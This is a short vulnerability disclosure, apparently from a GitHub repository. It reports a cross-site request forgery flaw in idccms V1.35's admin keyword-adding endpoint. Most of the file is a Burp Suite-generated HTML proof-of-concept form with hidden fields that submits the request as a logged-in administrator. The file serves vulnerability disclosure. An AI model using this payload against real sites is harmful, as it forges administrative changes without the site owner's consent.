Skip to content

Latest commit

 

History

History
34 lines (31 loc) · 1.58 KB

csrf.md

File metadata and controls

34 lines (31 loc) · 1.58 KB
Raw

target:http://idccms.com/ version: V1.35

idccms V1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component http://127.0.0.1:80/admin/keyWord_deal.php?mudi=add

POC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:80/admin/keyWord_deal.php?mudi=add" method="POST">
      <input type="hidden" name="backURL" value="http%3A%2F%2F127.0.0.1%2Fadmin%2FkeyWord.php%3Fmudi%3Dmanage%26dataMode%3D%26dataModeStr%3D%26dataType%3Dword%26dataTypeCN%3D%25E9%2594%259A%25E6%2596%2587%25E6%259C%25AC%26dataType2%3D%26dataID%3D0%26menuID%3D378" />
			<input type="hidden" name="dataType" value="word" />
			<input type="hidden" name="dataTypeCN" value="%E9%94%9A%E6%96%87%E6%9C%AC" />
			<input type="hidden" name="dataID" value="0" />
			<input type="hidden" name="theme" value="cs" />
			<input type="hidden" name="webURL" value="http%3A%2F%2F" />
			<input type="hidden" name="wapURL" value="http%3A%2F%2F" />
			<input type="hidden" name="themeSize" value="0" />
			<input type="hidden" name="themeColor" value="" />
			<input type="hidden" name="themeB" value="" />
			<input type="hidden" name="themeU" value="" />
			<input type="hidden" name="useNum" value="0" />
			<input type="hidden" name="rank" value="30" />
			<input type="hidden" name="isUse" value="1" />
			<input type="hidden" name="x" value="75" />
			<input type="hidden" name="y" value="16" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>